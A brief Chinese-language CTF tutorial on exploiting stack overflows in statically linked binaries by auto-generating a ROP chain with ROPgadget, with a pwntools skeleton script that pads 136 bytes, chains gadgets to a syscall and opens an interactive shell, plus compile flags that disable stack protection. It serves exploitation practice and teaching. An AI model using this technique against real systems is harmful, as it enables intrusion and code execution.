花式栈溢出—一键获取flag
参考链接:https://www.itdaan.com/blog/2017/05/19/daeb483344efc869d1ec1c5ff3b192bd.html
1. 使用前提:
- 溢出的大小足够大,写入地址足够大
 - 没有EIP
 - 能搜索到ROP链(最重要的要求)
 
2. 使用方式:
(1)搜索rop链
ROPgadget --binary ./pwn --ropchain

(2)直接写脚本
#!/usr/bin/env python
from pwn import *
p = process('./exp4')
#p = remote('127.0.0.1',10001)
payload = 'A' * 136
payload += p64(0x00000000004017a7) # pop rsi ; ret
                    ......将之前搜索到的rop链的地址复制上来复制上来
                    ......
payload += p64(0x000000000045b0d5) # syscall ; ret
p.send(payload)
p.interactive()
3. 搜索rop链

一般来搜索ROP链时都是出现的这样的情况:
一ROPgadget自动生成ROP链所需要的gadget:mov qword ptr [r64], r64找不到。
这是因为编译时 没有将所有需要的函数库集成进编译出来的程序上面,静态链接所有需要的库文件
只需要在编译到时候加上 “-static” 就可以出现rop链了
gcc -fno-stack-protector -static -o exp exp.c
      
       转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com